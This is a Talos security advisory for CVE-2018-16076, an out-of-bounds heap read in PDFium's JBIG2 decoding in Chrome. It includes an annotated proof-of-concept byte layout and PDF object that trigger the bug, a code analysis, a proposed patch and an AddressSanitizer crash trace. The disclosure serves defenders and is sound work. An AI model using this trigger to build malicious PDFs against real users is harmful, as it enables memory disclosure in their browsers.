Talos Vulnerability Report

TALOS-2018-0639

Google PDFium JBIG2 image ComposeToOpt2WithRect information disclosure vulnerability

October 3, 2018
CVE Number

CVE-2018-16076

An exploitable out-of-bounds read on the heap vulnerability exists in the JBIG2 parsing code of Google Chrome version 67.0.3396.99. A specially crafted PDF document can trigger an out-of-bounds read, which can possibly lead to an information leak that could be used as part of an exploit. An attacker needs to trick the user into visiting a malicious site to trigger the vulnerability.

Tested Versions

Google Chrome version 67.0.3396.99

Product URLs

https://pdfium.googlesource.com

CVSSv3 Score

5.9 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N

CWE

CWE-125: Out-of-bounds read

Details

PDFium is an open-source PDF renderer developed by Google and used extensively in the Chrome browser, as well as other online services and standalone applications. This bug was triaged on in the latest version of git, as well as the latest Chromium address sanitizer build that's available.

A heap buffer overflow is present in the code responsible for decoding a JBIG2 image stream. A PDF object describing the JBIG2 image details with specific details is required:

5 0 obj
<< 
/Width 1
/ColorSpace /DeviceGray
/Height 2
/Filter /JBIG2Decode
/Subtype /Image
/Length 17
/Type /XObject
>>
stream
...
endstream
endobj

In the above object, specified width and height are of importance. The minimal contents of the stream required to trigger this vulnerability are:

00 00 00 00 # region number
30          # region type
00          
00 
00 00 00 00 #region data length

00 00 00 00 # region number 
26          # region type (38 - Immediate generic region)
00 
00 
00 00 00 00 # data length (bogous, ignored)
00 00 00 01 # region segment bitmap width 
00 00 00 01 # region segment bitmap height
00 00 00 00 # region segment x location
00 00 00 00 # region segment y location
00          # external combination operator (OR in this case)
02          # generic region segment flags (specifies GBTEMPLATE for template based arithmetic coding, GBTEMPLATE is 1 in this case )
00          # GBATX
00          # GBATY
00 00 00 00 00 00 00 00 00 00 00 00 # padding required
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00

Contents of the first region above isn't important, but it's presence is required. When parsing an immediate generic region (type 38, or 0x26 specifically) the execution eventually ends up at CJBig2_Image::ComposeToOpt2WithRect in core/fxcodec/jbig2/JBig2_Image.cpp. The following code is interesting in particular:

bool CJBig2_Image::ComposeToOpt2WithRect(CJBig2_Image* pDst,
                                         int32_t x,
                                         int32_t y,
                                         JBig2ComposeOp op,
                                         const FX_RECT& rtSrc) {
  ...
  int32_t sw = rtSrc.Width();
  int32_t sh = rtSrc.Height();
  int32_t ys0 = y < 0 ? -y : 0;
  int32_t ys1 = y + sh > pDst->m_nHeight ? pDst->m_nHeight - y : sh;
  int32_t xs0 = x < 0 ? -x : 0;
  int32_t xs1 = x + sw > pDst->m_nWidth ? pDst->m_nWidth - x : sw;
  if ((ys0 >= ys1) || (xs0 >= xs1)) {   [1]
    return 0;
  }
  ...
  uint8_t* lineSrc =
      data() + (rtSrc.top + ys0) * m_nStride + (((xs0 + rtSrc.left) >> 5) << 2); [2]

In the above code, variables sw and sh come directly from the region segment bitmap width and region segment bitmap height fields in the immediate generic region. Values of pDst->m_nHeight and pDst->m_nHeight represent the size of the destination decoded bitmap as specified by the /Width and /Height keys in object 5 0 of the PDF. Due to the way arithmetic decoding works for the specified GBTEMPLATE, the values of y will be increasing with each call.

The buffer pointed to by lineSrc is allocated in a call to CJBig2_Image::CJBig2_Image(int32_t w, int32_t h) and depends indirectly on the values of region segment bitmap width and region segment bitmap height, thus it is under the attacker's control. The out-of-bounds memory read bug lies in the fact that it is possible to both skip the check at [1] and increment the lineSrc pointer at [2] to beyond the allocated buffer, thus allowing access to adjacent memory. The variable rtSrc.top also increases by one in each call to ComposeToOpt2WithRect, so if the check at [1] passes, lineSrc can point out of bounds. For an out-of-bounds condition to happen, the calculated offset at [2] must be greater than rtSrc.Height() times m_nStride, while still passing the check at [1]. With the values supplied in the attached proof of concept, this is indeed the case, and leads to a crash at line 747 where out-of-bounds memory is accessed:

for (int32_t yy = yd0; yy < yd1; yy++) {
  uint32_t tmp1 = JBIG2_GETDWORD(lineSrc) >> shift;
  uint32_t tmp2 = JBIG2_GETDWORD(lineDst);

Since the out-of-bounds buffer pointer is increased with each call to ComposeToOpt2WithRect, memory is leaked one byte at a time up to controllable size. A patch along the lines of the following should be sufficient:

diff --git a/core/fxcodec/jbig2/JBig2_Image.cpp b/core/fxcodec/jbig2/JBig2_Ima
index 442a36d2a..78447a9b1 100644
--- a/core/fxcodec/jbig2/JBig2_Image.cpp
+++ b/core/fxcodec/jbig2/JBig2_Image.cpp
@@ -705,8 +705,10 @@ bool CJBig2_Image::ComposeToOpt2WithRect(CJBig2_Image* pD
   int32_t maskL = 0xffffffff >> d1;
   int32_t maskR = 0xffffffff << ((32 - (xd1 & 31)) % 32);
   int32_t maskM = maskL & maskR;
-  uint8_t* lineSrc =
-      data() + (rtSrc.top + ys0) * m_nStride + (((xs0 + rtSrc.left) >> 5) <<
+  int32_t data_offset = (rtSrc.top + ys0) * m_nStride + (((xs0 + rtSrc.left)
+  if(data_offset > sh * m_nStride) return 0;
+  uint8_t* lineSrc =
+      data() + data_offset;
   int32_t lineLeft = m_nStride - ((xs0 >> 5) << 2);
   uint8_t* lineDst = pDst->data() + yd0 * pDst->m_nStride + ((xd0 >> 5) << 2)
   if ((xd0 & ~31) == ((xd1 - 1) & ~31)) {

It should be pointed out that the size of the destination buffer (the decoded bitmap) is based on height and width as specified in the PDF object 5 0 and is unaffected by this heap overflow. This is the reason this vulnerability is confined to an out-of-bounds read. Also, given that the size of the allocation of the overflowed buffer is under direct control, and that we can further manipulate values in the calculation at [2], a possibly targeted region of the memory, of controllable size, could be read into the destination buffer. With precise control of the memory layout and decoder manipulations it is possible that this could lead to further memory corruption.

Crash Information

Address sanitizer output:

==122688==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000003ff8 at pc 0x0000031af415 bp 0x7ffc89e22260 sp 0x7ffc89e22258
READ of size 1 at 0x602000003ff8 thread T0
    #0 0x31af414 in _ZN12CJBig2_Image21ComposeToOpt2WithRectEPS_ii14JBig2ComposeOpRK7FX_RECT ./../../third_party/pdfium/core/fxcodec/jbig2/JBig2_Image.cpp:747
    #1 0x31af414 in ?? ??:0
    #2 0x31864dd in _ZN14CJBig2_Context18ParseGenericRegionEP14CJBig2_SegmentP19PauseIndicatorIface ./../../third_party/pdfium/core/fxcodec/jbig2/JBig2_Context.cpp:1034
    #3 0x31864dd in ?? ??:0
    #4 0x317affd in _ZN14CJBig2_Context26ProcessingParseSegmentDataEP14CJBig2_SegmentP19PauseIndicatorIface ./../../third_party/pdfium/core/fxcodec/jbig2/JBig2_Context.cpp:353
    #5 0x317affd in ?? ??:0
    #6 0x317823a in ParseSegmentData ./../../third_party/pdfium/core/fxcodec/jbig2/JBig2_Context.cpp:323
    #7 0x317823a in DecodeSequential ./../../third_party/pdfium/core/fxcodec/jbig2/JBig2_Context.cpp:91
    #8 0x317823a in ?? ??:0
    #9 0x317a79a in _ZN14CJBig2_Context8ContinueEP19PauseIndicatorIface ./../../third_party/pdfium/core/fxcodec/jbig2/JBig2_Context.cpp:193
    #10 0x317a79a in ?? ??:0
    #11 0x316d856 in _ZN18CCodec_Jbig2Module14ContinueDecodeEP19CCodec_Jbig2ContextP19PauseIndicatorIface ./../../third_party/pdfium/core/fxcodec/codec/fx_codec_jbig.cpp:75
    #12 0x316d856 in ?? ??:0
    #13 0x2fb6787 in _ZN14CPDF_DIBSource21ContinueLoadDIBSourceEP19PauseIndicatorIface ./../../third_party/pdfium/core/fpdfapi/render/cpdf_dibsource.cpp:311
    #14 0x2fb6787 in ?? ??:0
    #15 0x2fce15c in _ZN20CPDF_ImageCacheEntry8ContinueEP19PauseIndicatorIfaceP17CPDF_RenderStatus ./../../third_party/pdfium/core/fpdfapi/render/cpdf_imagecacheentry.cpp:88
    #16 0x2fce15c in ?? ??:0
    #17 0x2fc80cd in _ZN20CPDF_PageRenderCache8ContinueEP19PauseIndicatorIfaceP17CPDF_RenderStatus ./../../third_party/pdfium/core/fpdfapi/render/cpdf_pagerendercache.cpp:115
    #18 0x2fc80cd in ?? ??:0
    #19 0x300c18d in _ZN16CPDF_ImageLoader8ContinueEP19PauseIndicatorIfaceP17CPDF_RenderStatus ./../../third_party/pdfium/core/fpdfapi/render/cpdf_imageloader.cpp:48
    #20 0x300c18d in ?? ??:0
    #21 0x300a2ec in _ZN18CPDF_ImageRenderer8ContinueEP19PauseIndicatorIface ./../../third_party/pdfium/core/fpdfapi/render/cpdf_imagerenderer.cpp:551
    #22 0x300a2ec in ?? ??:0
    #23 0x2fd7632 in _ZN17CPDF_RenderStatus20ContinueSingleObjectEP15CPDF_PageObjectPK10CFX_MatrixP19PauseIndicatorIface ./../../third_party/pdfium/core/fpdfapi/render/cpdf_renderstatus.cpp:1121
    #24 0x2fd7632 in ?? ??:0
    #25 0x2fcf42a in _ZN24CPDF_ProgressiveRenderer8ContinueEP19PauseIndicatorIface ./../../third_party/pdfium/core/fpdfapi/render/cpdf_progressiverenderer.cpp:93
    #26 0x2fcf42a in ?? ??:0
    #27 0x2bfa2b6 in FPDF_RenderPage_Continue ./../../third_party/pdfium/fpdfsdk/fpdf_progressive.cpp:86
    #28 0x2bfa2b6 in ?? ??:0
    #29 0xb37beb in RenderPage ./../../third_party/pdfium/samples/pdfium_test.cc:556
    #30 0xb37beb in RenderPdf ./../../third_party/pdfium/samples/pdfium_test.cc:757
    #31 0xb37beb in main ./../../third_party/pdfium/samples/pdfium_test.cc:924
    #32 0xb37beb in ?? ??:0
    #33 0x7f7c6941782f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
    #34 0x7f7c6941782f in ?? ??:0

0x602000003ff8 is located 0 bytes to the right of 8-byte region [0x602000003ff0,0x602000003ff8)
allocated by thread T0 here:
    #0 0xb02e23 in __interceptor_malloc _asan_rtl_
    #1 0xb02e23 in ?? ??:0
    #2 0x31a68e9 in PartitionAllocGenericFlags ./../../third_party/pdfium/third_party/base/allocator/partition_allocator/partition_alloc.h:796
    #3 0x31a68e9 in FX_SafeAlloc ./../../third_party/pdfium/core/fxcrt/fx_memory.h:46
    #4 0x31a68e9 in FX_AllocOrDie ./../../third_party/pdfium/core/fxcrt/fx_memory.h:67
    #5 0x31a68e9 in FX_AllocOrDie2D ./../../third_party/pdfium/core/fxcrt/fx_memory.h:78
    #6 0x31a68e9 in CJBig2_Image ./../../third_party/pdfium/core/fxcodec/jbig2/JBig2_Image.cpp:40
    #7 0x31a68e9 in ?? ??:0
    #8 0x31931d2 in MakeUnique<CJBig2_Image, unsigned int &, unsigned int &> ./../../third_party/pdfium/third_party/base/ptr_util.h:56
    #9 0x31931d2 in StartDecodeArith ./../../third_party/pdfium/core/fxcodec/jbig2/JBig2_GrdProc.cpp:480
    #10 0x31931d2 in ?? ??:0
    #11 0x3185c0c in _ZN14CJBig2_Context18ParseGenericRegionEP14CJBig2_SegmentP19PauseIndicatorIface ./../../third_party/pdfium/core/fxcodec/jbig2/JBig2_Context.cpp:1021
    #12 0x3185c0c in ?? ??:0
    #13 0x317affd in _ZN14CJBig2_Context26ProcessingParseSegmentDataEP14CJBig2_SegmentP19PauseIndicatorIface ./../../third_party/pdfium/core/fxcodec/jbig2/JBig2_Context.cpp:353
    #14 0x317affd in ?? ??:0
    #15 0x31781c5 in ParseSegmentData ./../../third_party/pdfium/core/fxcodec/jbig2/JBig2_Context.cpp:320
    #16 0x31781c5 in DecodeSequential ./../../third_party/pdfium/core/fxcodec/jbig2/JBig2_Context.cpp:91
    #17 0x31781c5 in ?? ??:0
    #18 0x317a79a in _ZN14CJBig2_Context8ContinueEP19PauseIndicatorIface ./../../third_party/pdfium/core/fxcodec/jbig2/JBig2_Context.cpp:193
    #19 0x317a79a in ?? ??:0
    #20 0x316d856 in _ZN18CCodec_Jbig2Module14ContinueDecodeEP19CCodec_Jbig2ContextP19PauseIndicatorIface ./../../third_party/pdfium/core/fxcodec/codec/fx_codec_jbig.cpp:75
    #21 0x316d856 in ?? ??:0
    #22 0x2fb6787 in _ZN14CPDF_DIBSource21ContinueLoadDIBSourceEP19PauseIndicatorIface ./../../third_party/pdfium/core/fpdfapi/render/cpdf_dibsource.cpp:311
    #23 0x2fb6787 in ?? ??:0
    #24 0x2fce15c in _ZN20CPDF_ImageCacheEntry8ContinueEP19PauseIndicatorIfaceP17CPDF_RenderStatus ./../../third_party/pdfium/core/fpdfapi/render/cpdf_imagecacheentry.cpp:88
    #25 0x2fce15c in ?? ??:0
    #26 0x2fc80cd in _ZN20CPDF_PageRenderCache8ContinueEP19PauseIndicatorIfaceP17CPDF_RenderStatus ./../../third_party/pdfium/core/fpdfapi/render/cpdf_pagerendercache.cpp:115
    #27 0x2fc80cd in ?? ??:0
    #28 0x300c18d in _ZN16CPDF_ImageLoader8ContinueEP19PauseIndicatorIfaceP17CPDF_RenderStatus ./../../third_party/pdfium/core/fpdfapi/render/cpdf_imageloader.cpp:48
    #29 0x300c18d in ?? ??:0
    #30 0x300a2ec in _ZN18CPDF_ImageRenderer8ContinueEP19PauseIndicatorIface ./../../third_party/pdfium/core/fpdfapi/render/cpdf_imagerenderer.cpp:551
    #31 0x300a2ec in ?? ??:0
    #32 0x2fd7632 in _ZN17CPDF_RenderStatus20ContinueSingleObjectEP15CPDF_PageObjectPK10CFX_MatrixP19PauseIndicatorIface ./../../third_party/pdfium/core/fpdfapi/render/cpdf_renderstatus.cpp:1121
    #33 0x2fd7632 in ?? ??:0
    #34 0x2fcf42a in _ZN24CPDF_ProgressiveRenderer8ContinueEP19PauseIndicatorIface ./../../third_party/pdfium/core/fpdfapi/render/cpdf_progressiverenderer.cpp:93
    #35 0x2fcf42a in ?? ??:0
    #36 0x2bfa2b6 in FPDF_RenderPage_Continue ./../../third_party/pdfium/fpdfsdk/fpdf_progressive.cpp:86
    #37 0x2bfa2b6 in ?? ??:0
    #38 0xb37beb in RenderPage ./../../third_party/pdfium/samples/pdfium_test.cc:556
    #39 0xb37beb in RenderPdf ./../../third_party/pdfium/samples/pdfium_test.cc:757
    #40 0xb37beb in main ./../../third_party/pdfium/samples/pdfium_test.cc:924
    #41 0xb37beb in ?? ??:0
    #42 0x7f7c6941782f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
    #43 0x7f7c6941782f in ?? ??:0

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/vagrant/pdfium_bins/pdfium_test+0x31af414)
Shadow bytes around the buggy address:
  0x0c047fff87a0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff87b0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 00 fa
  0x0c047fff87c0: fa fa 00 00 fa fa 00 fa fa fa 01 fa fa fa fd fd
  0x0c047fff87d0: fa fa fd fa fa fa fd fd fa fa 04 fa fa fa 04 fa
  0x0c047fff87e0: fa fa 00 00 fa fa 00 00 fa fa fd fd fa fa 00 00
=>0x0c047fff87f0: fa fa 04 fa fa fa 00 fa fa fa 00 fa fa fa 00[fa]
  0x0c047fff8800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8810: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8820: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8830: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8840: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==122688==ABORTING

Timeline

2018-07-25 - Vendor Disclosure
2018-10-02 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.